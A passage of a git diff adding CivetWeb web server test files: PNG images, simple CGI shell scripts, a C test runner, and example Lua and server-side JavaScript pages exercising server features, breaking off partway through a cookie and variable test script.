b/src/civetweb/test/imagetest/57.png Binary files differnew file mode 100644 index 000000000..645b8ec7e --- /dev/null +++ b/src/civetweb/test/imagetest/57.png diff --git a/src/civetweb/test/imagetest/58.png b/src/civetweb/test/imagetest/58.png Binary files differnew file mode 100644 index 000000000..eb861f549 --- /dev/null +++ b/src/civetweb/test/imagetest/58.png diff --git a/src/civetweb/test/imagetest/59.png b/src/civetweb/test/imagetest/59.png Binary files differnew file mode 100644 index 000000000..d9041b512 --- /dev/null +++ b/src/civetweb/test/imagetest/59.png diff --git a/src/civetweb/test/imagetest/60.png b/src/civetweb/test/imagetest/60.png Binary files differnew file mode 100644 index 000000000..80718196c --- /dev/null +++ b/src/civetweb/test/imagetest/60.png diff --git a/src/civetweb/test/imagetest/61.png b/src/civetweb/test/imagetest/61.png Binary files differnew file mode 100644 index 000000000..e539e1bb8 --- /dev/null +++ b/src/civetweb/test/imagetest/61.png diff --git a/src/civetweb/test/imagetest/62.png b/src/civetweb/test/imagetest/62.png Binary files differnew file mode 100644 index 000000000..7d20d26ff --- /dev/null +++ b/src/civetweb/test/imagetest/62.png diff --git a/src/civetweb/test/imagetest/63.png b/src/civetweb/test/imagetest/63.png Binary files differnew file mode 100644 index 000000000..66c7391fd --- /dev/null +++ b/src/civetweb/test/imagetest/63.png diff --git a/src/civetweb/test/imagetest/64.png b/src/civetweb/test/imagetest/64.png Binary files differnew file mode 100644 index 000000000..34c4dff76 --- /dev/null +++ b/src/civetweb/test/imagetest/64.png diff --git a/src/civetweb/test/imagetest/65.png b/src/civetweb/test/imagetest/65.png Binary files differnew file mode 100644 index 000000000..9dbbb66d3 --- /dev/null +++ b/src/civetweb/test/imagetest/65.png diff --git a/src/civetweb/test/imagetest/66.png b/src/civetweb/test/imagetest/66.png Binary files differnew file mode 100644 index 000000000..2ced8c33c --- /dev/null +++ b/src/civetweb/test/imagetest/66.png diff --git a/src/civetweb/test/imagetest/67.png b/src/civetweb/test/imagetest/67.png Binary files differnew file mode 100644 index 000000000..225a716a8 --- /dev/null +++ b/src/civetweb/test/imagetest/67.png diff --git a/src/civetweb/test/imagetest/68.png b/src/civetweb/test/imagetest/68.png Binary files differnew file mode 100644 index 000000000..2a10e8315 --- /dev/null +++ b/src/civetweb/test/imagetest/68.png diff --git a/src/civetweb/test/imagetest/69.png b/src/civetweb/test/imagetest/69.png Binary files differnew file mode 100644 index 000000000..37288a078 --- /dev/null +++ b/src/civetweb/test/imagetest/69.png diff --git a/src/civetweb/test/imagetest/70.png b/src/civetweb/test/imagetest/70.png Binary files differnew file mode 100644 index 000000000..e39da976c --- /dev/null +++ b/src/civetweb/test/imagetest/70.png diff --git a/src/civetweb/test/imagetest/71.png b/src/civetweb/test/imagetest/71.png Binary files differnew file mode 100644 index 000000000..4ea682c7b --- /dev/null +++ b/src/civetweb/test/imagetest/71.png diff --git a/src/civetweb/test/imagetest/72.png b/src/civetweb/test/imagetest/72.png Binary files differnew file mode 100644 index 000000000..ff60546ed --- /dev/null +++ b/src/civetweb/test/imagetest/72.png diff --git a/src/civetweb/test/imagetest/73.png b/src/civetweb/test/imagetest/73.png Binary files differnew file mode 100644 index 000000000..c97a35656 --- /dev/null +++ b/src/civetweb/test/imagetest/73.png diff --git a/src/civetweb/test/imagetest/74.png b/src/civetweb/test/imagetest/74.png Binary files differnew file mode 100644 index 000000000..97867899e --- /dev/null +++ b/src/civetweb/test/imagetest/74.png diff --git a/src/civetweb/test/imagetest/75.png b/src/civetweb/test/imagetest/75.png Binary files differnew file mode 100644 index 000000000..c66094ecd --- /dev/null +++ b/src/civetweb/test/imagetest/75.png diff --git a/src/civetweb/test/imagetest/76.png b/src/civetweb/test/imagetest/76.png Binary files differnew file mode 100644 index 000000000..2cf1fc971 --- /dev/null +++ b/src/civetweb/test/imagetest/76.png diff --git a/src/civetweb/test/imagetest/77.png b/src/civetweb/test/imagetest/77.png Binary files differnew file mode 100644 index 000000000..80dd70451 --- /dev/null +++ b/src/civetweb/test/imagetest/77.png diff --git a/src/civetweb/test/imagetest/78.png b/src/civetweb/test/imagetest/78.png Binary files differnew file mode 100644 index 000000000..110277dd5 --- /dev/null +++ b/src/civetweb/test/imagetest/78.png diff --git a/src/civetweb/test/imagetest/79.png b/src/civetweb/test/imagetest/79.png Binary files differnew file mode 100644 index 000000000..145d58004 --- /dev/null +++ b/src/civetweb/test/imagetest/79.png diff --git a/src/civetweb/test/imagetest/80.png b/src/civetweb/test/imagetest/80.png Binary files differnew file mode 100644 index 000000000..414c12a38 --- /dev/null +++ b/src/civetweb/test/imagetest/80.png diff --git a/src/civetweb/test/imagetest/81.png b/src/civetweb/test/imagetest/81.png Binary files differnew file mode 100644 index 000000000..acdc06fe9 --- /dev/null +++ b/src/civetweb/test/imagetest/81.png diff --git a/src/civetweb/test/imagetest/82.png b/src/civetweb/test/imagetest/82.png Binary files differnew file mode 100644 index 000000000..0fa4b88e3 --- /dev/null +++ b/src/civetweb/test/imagetest/82.png diff --git a/src/civetweb/test/imagetest/83.png b/src/civetweb/test/imagetest/83.png Binary files differnew file mode 100644 index 000000000..26bcb198b --- /dev/null +++ b/src/civetweb/test/imagetest/83.png diff --git a/src/civetweb/test/imagetest/84.png b/src/civetweb/test/imagetest/84.png Binary files differnew file mode 100644 index 000000000..9b883daaf --- /dev/null +++ b/src/civetweb/test/imagetest/84.png diff --git a/src/civetweb/test/imagetest/85.png b/src/civetweb/test/imagetest/85.png Binary files differnew file mode 100644 index 000000000..481069e95 --- /dev/null +++ b/src/civetweb/test/imagetest/85.png diff --git a/src/civetweb/test/imagetest/86.png b/src/civetweb/test/imagetest/86.png Binary files differnew file mode 100644 index 000000000..b1c4c44dd --- /dev/null +++ b/src/civetweb/test/imagetest/86.png diff --git a/src/civetweb/test/imagetest/87.png b/src/civetweb/test/imagetest/87.png Binary files differnew file mode 100644 index 000000000..266b2eb5c --- /dev/null +++ b/src/civetweb/test/imagetest/87.png diff --git a/src/civetweb/test/imagetest/88.png b/src/civetweb/test/imagetest/88.png Binary files differnew file mode 100644 index 000000000..cbcdd26b3 --- /dev/null +++ b/src/civetweb/test/imagetest/88.png diff --git a/src/civetweb/test/imagetest/89.png b/src/civetweb/test/imagetest/89.png Binary files differnew file mode 100644 index 000000000..90dc1965f --- /dev/null +++ b/src/civetweb/test/imagetest/89.png diff --git a/src/civetweb/test/imagetest/90.png b/src/civetweb/test/imagetest/90.png Binary files differnew file mode 100644 index 000000000..f7c7994ce --- /dev/null +++ b/src/civetweb/test/imagetest/90.png diff --git a/src/civetweb/test/imagetest/91.png b/src/civetweb/test/imagetest/91.png Binary files differnew file mode 100644 index 000000000..756c548b3 --- /dev/null +++ b/src/civetweb/test/imagetest/91.png diff --git a/src/civetweb/test/imagetest/92.png b/src/civetweb/test/imagetest/92.png Binary files differnew file mode 100644 index 000000000..4c5abd778 --- /dev/null +++ b/src/civetweb/test/imagetest/92.png diff --git a/src/civetweb/test/imagetest/93.png b/src/civetweb/test/imagetest/93.png Binary files differnew file mode 100644 index 000000000..f6e066015 --- /dev/null +++ b/src/civetweb/test/imagetest/93.png diff --git a/src/civetweb/test/imagetest/94.png b/src/civetweb/test/imagetest/94.png Binary files differnew file mode 100644 index 000000000..c5b1ca177 --- /dev/null +++ b/src/civetweb/test/imagetest/94.png diff --git a/src/civetweb/test/imagetest/95.png b/src/civetweb/test/imagetest/95.png Binary files differnew file mode 100644 index 000000000..1a7c3dd45 --- /dev/null +++ b/src/civetweb/test/imagetest/95.png diff --git a/src/civetweb/test/imagetest/96.png b/src/civetweb/test/imagetest/96.png Binary files differnew file mode 100644 index 000000000..36b01c327 --- /dev/null +++ b/src/civetweb/test/imagetest/96.png diff --git a/src/civetweb/test/imagetest/97.png b/src/civetweb/test/imagetest/97.png Binary files differnew file mode 100644 index 000000000..75ca62ce4 --- /dev/null +++ b/src/civetweb/test/imagetest/97.png diff --git a/src/civetweb/test/imagetest/98.png b/src/civetweb/test/imagetest/98.png Binary files differnew file mode 100644 index 000000000..22094b8b9 --- /dev/null +++ b/src/civetweb/test/imagetest/98.png diff --git a/src/civetweb/test/imagetest/99.png b/src/civetweb/test/imagetest/99.png Binary files differnew file mode 100644 index 000000000..9a97ff59c --- /dev/null +++ b/src/civetweb/test/imagetest/99.png diff --git a/src/civetweb/test/linux.cgi b/src/civetweb/test/linux.cgi new file mode 100755 index 000000000..f65fc7a04 --- /dev/null +++ b/src/civetweb/test/linux.cgi @@ -0,0 +1,9 @@ +#!/bin/sh + +printf "Content-Type: text/plain\r\n" +printf "\r\n" + +echo "This is a shell script called by CGI:" +echo +set + diff --git a/src/civetweb/test/linux_fail.cgi b/src/civetweb/test/linux_fail.cgi new file mode 100644 index 000000000..885dff2b4 --- /dev/null +++ b/src/civetweb/test/linux_fail.cgi @@ -0,0 +1,4 @@ +#!/bin/sh + +>&2 echo "Some error sent to stderr" + diff --git a/src/civetweb/test/linux_fail_silent.cgi b/src/civetweb/test/linux_fail_silent.cgi new file mode 100644 index 000000000..0cc08c74c --- /dev/null +++ b/src/civetweb/test/linux_fail_silent.cgi @@ -0,0 +1,5 @@ +#!/bin/sh + +echo not a complete header +echo and nothing sent to stderr + diff --git a/src/civetweb/test/lua_preload_file.lua b/src/civetweb/test/lua_preload_file.lua new file mode 100644 index 000000000..7761f4734 --- /dev/null +++ b/src/civetweb/test/lua_preload_file.lua @@ -0,0 +1,7 @@ +--[[
+Load this test file by adding
+ lua_preload_file ./lua_preload_file.lua
+to the civetweb.conf file
+]]
+
+mg.preload = "lua_preload_file successfully loaded"
diff --git a/src/civetweb/test/main.c b/src/civetweb/test/main.c new file mode 100644 index 000000000..b6f8796a4 --- /dev/null +++ b/src/civetweb/test/main.c @@ -0,0 +1,103 @@ +/* Copyright (c) 2015-2017 the Civetweb developers + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "civetweb_check.h" +#include "shared.h" +#include "public_func.h" +#include "public_server.h" +#include "private.h" +#include "timertest.h" +#include "private_exe.h" + +#include <stdlib.h> +#include <stdio.h> +#include <string.h> + +/* This unit test file uses the excellent Check unit testing library. + * The API documentation is available here: + * http://check.sourceforge.net/doc/check_html/index.html + */ + +int +main(const int argc, char *argv[]) +{ + // Determine what tests to run + const char *suite = NULL; + const char *const suite_arg = "--suite="; + const size_t suite_arg_size = strlen(suite_arg); + const char *test_case = NULL; + const char *const test_case_arg = "--test-case="; + const size_t test_case_arg_size = strlen(test_case_arg); + const char *const test_dir_arg = "--test-dir="; + const size_t test_dir_arg_size = strlen(test_dir_arg); + + SRunner *srunner; + int number_run = 0; + int number_failed = 0; + + int i; + + for (i = 1; i < argc; ++i) { + if (0 == strncmp(suite_arg, argv[i], suite_arg_size) + && (strlen(argv[i]) > suite_arg_size)) { + suite = &argv[i][suite_arg_size]; + } else if (0 == strncmp(test_case_arg, argv[i], test_case_arg_size) + && (strlen(argv[i]) > test_case_arg_size)) { + test_case = &argv[i][test_case_arg_size]; + } else if (0 == strncmp(test_dir_arg, argv[i], test_dir_arg_size) + && (strlen(argv[i]) > test_dir_arg_size)) { + set_test_directory(&argv[i][test_dir_arg_size]); + } else if (0 == strcmp("--help", argv[i])) { + printf( + "Usage: %s [options]\n" + " --suite=Suite Determines the suite to run\n" + " --test-case='Test Case' Determines the test case to run\n" + " --test-dir='folder/path' The location of the test directory " + "with the \n" + " 'fixtures' and 'expected\n", + argv[0]); + exit(EXIT_SUCCESS); + } else { + fprintf(stderr, "Invalid argument: %s\n", argv[i]); + exit(EXIT_FAILURE); + } + } + + /* Run up the tests */ + srunner = srunner_create(make_public_func_suite()); + srunner_add_suite(srunner, make_public_server_suite()); + srunner_add_suite(srunner, make_private_suite()); + srunner_add_suite(srunner, make_private_exe_suite()); + srunner_add_suite(srunner, make_timertest_suite()); + + /* Write test logs to a file */ + srunner_set_log(srunner, "test.log"); + srunner_set_xml(srunner, "test.xml"); + + /* CK_NORMAL offers not enough diagnosis during setup phase*/ + srunner_run(srunner, suite, test_case, CK_VERBOSE); + + number_run = srunner_ntests_run(srunner); + number_failed = srunner_ntests_failed(srunner); + srunner_free(srunner); + return (number_failed == 0) && (number_run != 0) ? EXIT_SUCCESS + : EXIT_FAILURE; +} diff --git a/src/civetweb/test/page.lp b/src/civetweb/test/page.lp new file mode 100644 index 000000000..3e012e26b --- /dev/null +++ b/src/civetweb/test/page.lp @@ -0,0 +1,71 @@ +HTTP/1.0 200 OK +Content-Type: text/html + +<html><body> + + +<p>This is another example of a Lua server page, served by +<a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>. +</p><p> +The following features are available: +<ul> +<? + mg.write("<li>" .. _VERSION .. " server pages</li>") + if sqlite3 then + mg.write("<li>sqlite3 binding</li>") + end + if lfs then + mg.write("<li>lua file system</li>") + end +?> +</ul></p> +<p> Today is <? mg.write(os.date("%A")) ?></p> +<p> URI is <? mg.write(mg.request_info.uri) ?></p> +<p> URI is <?=mg.request_info.uri?></p> + +<p>Database example: +<pre> +<? + -- Open database + local db = sqlite3.open('requests.db') + -- Note that the data base is located in the current working directory + -- of the process if no other path is given here. + + -- Setup a trace callback, to show SQL statements we'll be executing. + -- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil) + + -- Create a table if it is not created already + db:exec([[ + CREATE TABLE IF NOT EXISTS requests ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp NOT NULL, + method NOT NULL, + uri NOT NULL, + addr + ); + ]]) + + -- Add entry about this request + local stmt = db:prepare( + 'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);'); + stmt:bind_values(mg.request_info.request_method, + mg.request_info.uri, + mg.request_info.remote_port) + stmt:step() + stmt:finalize() + + -- Show all previous records + mg.write('Previous requests:\n') + stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;') + while stmt:step() == sqlite3.ROW do + local v = stmt:get_values() + mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' ' + .. v[4] .. ' ' .. v[5] .. '\n') + end + + -- Close database + db:close() +?> +</pre></p> + +</body></html> diff --git a/src/civetweb/test/page.lua b/src/civetweb/test/page.lua new file mode 100644 index 000000000..2b5600ac1 --- /dev/null +++ b/src/civetweb/test/page.lua @@ -0,0 +1,71 @@ +mg.write("HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n") + +mg.write([[ +<html><body> +<p>This is another example of a Lua script, creating a web page served by the +<a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>. +</p><p> +The following features are available: +<ul> +]]) + + mg.write("<li>" .. _VERSION .. " server pages</li>") + if sqlite3 then + mg.write("<li>sqlite3 binding</li>") + end + if lfs then + mg.write("<li>lua file system</li>") + end + + +mg.write("</ul></p>\r\n") +mg.write("<p> Today is " .. os.date("%A") .. "</p>\r\n") +mg.write("<p> URI is " .. mg.request_info.uri .. "</p>\r\n") + +mg.write("<p>Database example:\r\n<pre>\r\n") + + -- Open database + local db = sqlite3.open('requests.db') + -- Note that the data base is located in the current working directory + -- of the process if no other path is given here. + + -- Setup a trace callback, to show SQL statements we'll be executing. + -- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil) + + -- Create a table if it is not created already + db:exec([[ + CREATE TABLE IF NOT EXISTS requests ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + timestamp NOT NULL, + method NOT NULL, + uri NOT NULL, + addr + ); + ]]) + + -- Add entry about this request + local stmt = db:prepare( + 'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);'); + stmt:bind_values(mg.request_info.request_method, + mg.request_info.uri, + mg.request_info.remote_port) + stmt:step() + stmt:finalize() + + -- Show all previous records + mg.write('Previous requests:\n') + stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;') + while stmt:step() == sqlite3.ROW do + local v = stmt:get_values() + mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' ' + .. v[4] .. ' ' .. v[5] .. '\n') + end + + -- Close database + db:close() + +mg.write([[ +</pre> +</p> +</body></html> +]]) diff --git a/src/civetweb/test/page.ssjs b/src/civetweb/test/page.ssjs new file mode 100644 index 000000000..d4465a618 --- /dev/null +++ b/src/civetweb/test/page.ssjs @@ -0,0 +1,19 @@ +print = conn.write || print
+
+// send a header
+print('HTTP/1.0 200 OK\r\n');
+print('Content-Type: text/html\r\n');
+print('\r\n');
+
+print("<html><body>\n");
+print("<p>This example page is generated by the ");
+print('<a href="https://github.com/civetweb/civetweb">CivetWeb web server</a>');
+print(" with server side javascript.</p>\n");
+
+var d = new Date();
+var n = d.toString();
+
+print("<p>Server time: " + n + "</p>\n");
+
+print("</body></html>\n");
+
diff --git a/src/civetweb/test/page2.lp b/src/civetweb/test/page2.lp new file mode 100644 index 000000000..c98b94022 --- /dev/null +++ b/src/civetweb/test/page2.lp @@ -0,0 +1,72 @@ +<? mg.write("HTTP/1.0 200 OK") ?>
+<? mg.write("Content-Type: text/html") ?>
+
+<html><body>
+
+<p>This is another example of a Lua server page, served by
+<a href="https://github.com/civetweb/civetweb">CivetWeb web server</a>.
+</p><p>
+The following features are available:
+<ul>
+<?
+ -- functions defubed in one Lua tag should still be available in the next one
+ function print_if_available(tab, name)
+ if tab then
+ mg.write("<li>" .. name .. "</li>\n")
+ end
+ end
+
+ function recurse(tab)
+ mg.write("<ul>\n")
+ for k,v in pairs(tab) do
+ if type(v) == "table" then
+ mg.write("<li>" .. tostring(k) .. ":</li>\n")
+ recurse(v)
+ else
+ mg.write("<li>" .. tostring(k) .. " = " .. tostring(v) .. "</li>\n")
+ end
+ end
+ mg.write("</ul>\n")
+ end
+?>
+<?
+ -- Print Lua version and available libraries
+ mg.write("<li>" .. _VERSION .. " with the following standard libraries</li>\n")
+ mg.write("<ul>")
+ libs = {"string", "math", "table", "io", "os", "bit32", "utf8", "package", "coroutine", "debug"};
+ for _,n in ipairs(libs) do
+ print_if_available(_G[n], n);
+ end
+ mg.write("</ul>\n")
+ print_if_available(sqlite3, "sqlite3 binding")
+ print_if_available(lfs,"lua file system")
+
+ -- Print mg library
+ libname = "mg"
+ print_if_available(_G[libname], libname .. " library")
+ recurse(_G[libname])
+
+ -- Print connect function
+ print_if_available(connect, "connect function")
+
+?>
+</ul></p>
+<p> Today is <? mg.write(os.date("%A")) ?>
+
+<p>
+<?
+ -- for k,v in pairs(_G) do mg.write(k, '\n') end
+
+ if lfs then
+ mg.write("Files in " .. lfs.currentdir())
+ mg.write("\n<ul>\n")
+ for f in lfs.dir(".") do
+ mg.write("<li>" .. f .. "</li>\n")
+ local at = lfs.attributes(f);
+ recurse(at)
+ end
+ mg.write("</ul>\n")
+ end
+?>
+</p>
+</body></html>
diff --git a/src/civetweb/test/page2.lua b/src/civetweb/test/page2.lua new file mode 100644 index 000000000..9c4a5b776 --- /dev/null +++ b/src/civetweb/test/page2.lua @@ -0,0 +1,91 @@ +mg.write("HTTP/1.0 200 OK\r\n")
+mg.write("Content-Type: text/html\r\n")
+mg.write("\r\n")
+mg.write([[<html><body>
+
+<p>This is another example of a Lua server page, served by
+<a href="https://github.com/civetweb/civetweb">CivetWeb web server</a>.
+</p><p>
+The following features are available:
+<ul>
+]])
+
+function print_if_available(tab, name)
+ if tab then
+ mg.write("<li>" .. name .. "</li>\n")
+ end
+end
+
+function recurse(tab, excl)
+ excl = excl or {}
+ mg.write("<ul>\n")
+ for k,v in pairs(tab) do
+ if type(v) == "table" then
+ mg.write("<li>" .. tostring(k) .. ":</li>\n")
+ if excl[v] then
+ -- cyclic
+ else
+ excl[v] = true
+ recurse(v, excl)
+ excl[v] = false
+ end
+ else
+ mg.write("<li>" .. tostring(k) .. " = " .. tostring(v) .. "</li>\n")
+ end
+ end
+ mg.write("</ul>\n")
+end
+
+-- Print Lua version and available libraries
+mg.write("<li>" .. _VERSION .. " with the following standard libraries</li>\n")
+mg.write("<ul>\n")
+libs = {"string", "math", "table", "io", "os", "bit32", "utf8", "package", "coroutine", "debug"};
+for _,n in ipairs(libs) do
+ print_if_available(_G[n], n);
+end
+mg.write("</ul>\n")
+print_if_available(sqlite3, "sqlite3 binding")
+print_if_available(lfs, "lua file system")
+
+--recurse(_G)
+
+-- Print mg library
+libname = "mg"
+print_if_available(_G[libname], libname .. " library")
+recurse(_G[libname])
+
+-- Print connect function
+print_if_available(connect, "connect function")
+
+-- Get all server options
+mg.write("<li>server options</li>\n")
+recurse(mg.get_option())
+
+mg.write("</ul></p>\n");
+mg.write("<p> Today is " .. os.date("%A") .. "</p>\n");
+
+l = mg.request_info.content_length
+if l then
+ mg.write("<p>Content-Length = "..l..":<br>\n<pre>\n")
+ mg.write(mg.read())
+ mg.write("\n</pre>\n</p>\n")
+end
+
+mg.write("<p>\n");
+
+ if lfs then
+ mg.write("Files in " .. lfs.currentdir())
+ mg.write("\n<ul>\n")
+ for f in lfs.dir(".") do
+ local mime = mg.get_mime_type(f)
+ mg.write("<li>" .. f .. " (" .. mime .. ")</li>\n")
+ local at = lfs.attributes(f);
+ recurse(at)
+ end
+ mg.write("</ul>\n")
+end
+
+mg.write([[
+</p>
+</body></html>
+]])
diff --git a/src/civetweb/test/page2.ssjs b/src/civetweb/test/page2.ssjs new file mode 100644 index 000000000..66e0c83a8 --- /dev/null +++ b/src/civetweb/test/page2.ssjs @@ -0,0 +1,30 @@ +conn.write("HTTP/1.0 200 OK\r\n")
+conn.write("Content-Type: text/html\r\n")
+conn.write("\r\n")
+conn.write("<html><body>\r\n")
+conn.write("<p>This is an example of a server side JavaScript, served by the ")
+conn.write('<a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>.')
+conn.write("</p>\r\n")
+
+
+function print_elements(title, obj)
+{
+ conn.write("<p>\r\n");
+ conn.write("<b>" + title + "</b><br>\r\n");
+ elms = Object.getOwnPropertyNames(obj)
+
+ for (var i = 0; i < elms.length; i++) {
+ conn.write(JSON.stringify(elms[i]) + ":<br>\r\n")
+ conn.write("Type: " + typeof(obj[elms[i]]) + "<br>\r\n")
+ conn.write(JSON.stringify(Object.getOwnPropertyDescriptor(obj, elms[i])) + "<br>\r\n")
+ conn.write("<br>\r\n")
+ }
+ conn.write('<br></p>\r\n')
+}
+
+
+print_elements("conn", conn)
+print_elements("civetweb", civetweb)
+
+
+conn.write('</body></html>\r\n')
diff --git a/src/civetweb/test/page3.lp b/src/civetweb/test/page3.lp new file mode 100644 index 000000000..8d18b74d6 --- /dev/null +++ b/src/civetweb/test/page3.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + +<html><body> + + +<p>This is a test page of mg.include in a Lua server page, served by the +<a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>. +</p><p> +<? + script = string.gsub(mg.script_name, "page3.lp$", "page2.lp") + mg.write("Output of " .. script .. ":\n") +?> +</p><p> +<? + mg.include(script) +?> +</p> + +</body></html> diff --git a/src/civetweb/test/page3.lua b/src/civetweb/test/page3.lua new file mode 100644 index 000000000..fec68990d --- /dev/null +++ b/src/civetweb/test/page3.lua @@ -0,0 +1,34 @@ +-- This test checks if a query string has been given.
+-- It sends the file identified by the query string.
+-- Do not use it in a real server in this way!
+
+if not mg.request_info.query_string then
+ mg.write("HTTP/1.0 200 OK\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script test page 3</title></head>\r\n")
+ mg.write("<body>No query string!</body></html>\r\n")
+elseif mg.request_info.query_string:match("/") or mg.request_info.query_string:match("\\") then
+ mg.write("HTTP/1.0 403 Forbidden\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html><head><title>Civetweb Lua script test page 3</title></head>\r\n")
+ mg.write("<body>No access!</body></html>\r\n")
+else
+ file = mg.get_var(mg.request_info.query_string, "file");
+ if not file then
+ mg.write("HTTP/1.0 400 Bad Request\r\n")
+ mg.write("Connection: close\r\n")
+ mg.write("Content-Type: text/html; charset=utf-8\r\n")
+ mg.write("\r\n")
+ mg.write("<html>\r\n<head><title>Civetweb Lua script test page 3</title></head>\r\n")
+ mg.write("<body>\r\nQuery string does not contain a 'file' variable.<br>\r\n")
+ mg.write("Try <a href=\"?file=page3.lua&somevar=something\">?file=page3.lua&somevar=something</a>\r\n")
+ mg.write("</body>\r\n</html>\r\n")
+ else
+ filename = mg.document_root .. "/" .. file
+ mg.send_file(filename)
+ end
+end
diff --git a/src/civetweb/test/page3.ssjs b/src/civetweb/test/page3.ssjs new file mode 100644 index 000000000..71e55e34e --- /dev/null +++ b/src/civetweb/test/page3.ssjs @@ -0,0 +1,61 @@ +print = conn.write || print + +opts = [ +"cgi_pattern", +"cgi_environment", +"put_delete_auth_file", +"cgi_interpreter", +"protect_uri", +"authentication_domain", +"ssi_pattern", +"throttle", +"access_log_file", +"enable_directory_listing", +"error_log_file", +"global_auth_file", +"index_files", +"enable_keep_alive", +"access_control_list", +"extra_mime_types", +"listening_ports", +"document_root", +"ssl_certificate", +"num_threads", +"run_as_user", +"url_rewrite_patterns", +"hide_files_patterns", +"request_timeout_ms", +"websocket_timeout_ms", +"decode_url", +"lua_preload_file", +"lua_script_pattern", +"lua_server_page_pattern", +"_experimental_duktape_script_pattern", +"websocket_root", +"lua_websocket_pattern", +"access_control_allow_origin", +"error_pages", +"_unknown__option" +] + +// send a header +print('HTTP/1.0 200 OK\r\n'); +print('Content-Type: text/html\r\n'); +print('\r\n'); + +print("<html><body>\n"); +print("<p>This example page is generated by the "); +print('<a href="https://github.com/civetweb/civetweb">CivetWeb web server</a>'); +print(" with server side javascript.</p>\n"); + +for (var i=0; i < opts.length; i++) { + var o = opts[i]; + var n = civetweb.getoption(o); + if (typeof(n) == "string") { + print("<p>Option " + o + " = " + n + "</p>\n"); + } else { + print("<p>Option " + o + " not known</p>\n"); + } +} + +print("</body></html>\n"); diff --git a/src/civetweb/test/page3a.lp b/src/civetweb/test/page3a.lp new file mode 100644 index 000000000..1595aa542 --- /dev/null +++ b/src/civetweb/test/page3a.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + +<html><body> + + +<p>This is a test page of mg.include in a Lua server page, served by the +<a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>. +</p><p> +<? + script = "test/page2.lp" + mg.write("Output of " .. script .. " (path type: \"abs\"):\n") +?> +</p><p> +<? + mg.include(script, "abs") +?> +</p> + +</body></html> diff --git a/src/civetweb/test/page3r.lp b/src/civetweb/test/page3r.lp new file mode 100644 index 000000000..e849cfc72 --- /dev/null +++ b/src/civetweb/test/page3r.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + +<html><body> + + +<p>This is a test page of mg.include in a Lua server page, served by the +<a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>. +</p><p> +<? + script = "page2.lp" + mg.write("Output of " .. script .. " (path type: \"rel\"):\n") +?> +</p><p> +<? + mg.include(script, "rel") +?> +</p> + +</body></html> diff --git a/src/civetweb/test/page3v.lp b/src/civetweb/test/page3v.lp new file mode 100644 index 000000000..5f81126e4 --- /dev/null +++ b/src/civetweb/test/page3v.lp @@ -0,0 +1,20 @@ +HTTP/1.0 200 OK +Content-Type: text/html + +<html><body> + + +<p>This is a test page of mg.include in a Lua server page, served by the +<a href="https://github.com/civetweb/civetweb/">CivetWeb web server</a>. +</p><p> +<? + script = "page2.lp" + mg.write("Output of " .. script .. " (path type: \"virtual\"):\n") +?> +</p><p> +<? + mg.include(script, "virtual") +?> +</p> + +</body></html> diff --git a/src/civetweb/test/page4.lua b/src/civetweb/test/page4.lua new file mode 100644 index 000000000..e2b84d7ca --- /dev/null +++ b/src/civetweb/test/page4.lua @@ -0,0 +1,180 @@ +-- This test checks the Lua functions:
+-- get_var, get_cookie, md5, url_encode
+
+now = os.time()
+cookie_name = "civetweb-test-page4"
+
+if mg.request_info.http_headers.Cookie then
+ cookie_value = tonumber(mg.get_cookie(mg.request_info.http_headers.Cookie, cookie_name))
+end
+
+mg.write("HTTP/1.0 200 OK\r\n")
+mg.write("Connection: close\r\n")
+mg.write("Content-Type: text/html; charset=utf-8\r\n")
+mg.write("Cache-Control: max-age=0, must-revalidate\r\n")
+if not cookie_value then
+ mg.write("Set-Cookie: " .. cookie_name .. "=" .. tostring(now) .. "\r\n")
+end
+mg.write("\r\n")
+
+mg.write("<html>\r\n<head><title>Civetweb Lua script test page 4</title></head>\r\n<body>\r\n")
+mg.write("<p>Test of Civetweb Lua Functions:</p>\r\n");
+mg.write("<pre>\r\n");
+
+-- get_var of query_string
+mg.write("get_var test (check query string):\r\n")
+if not mg.request_info.query_string then
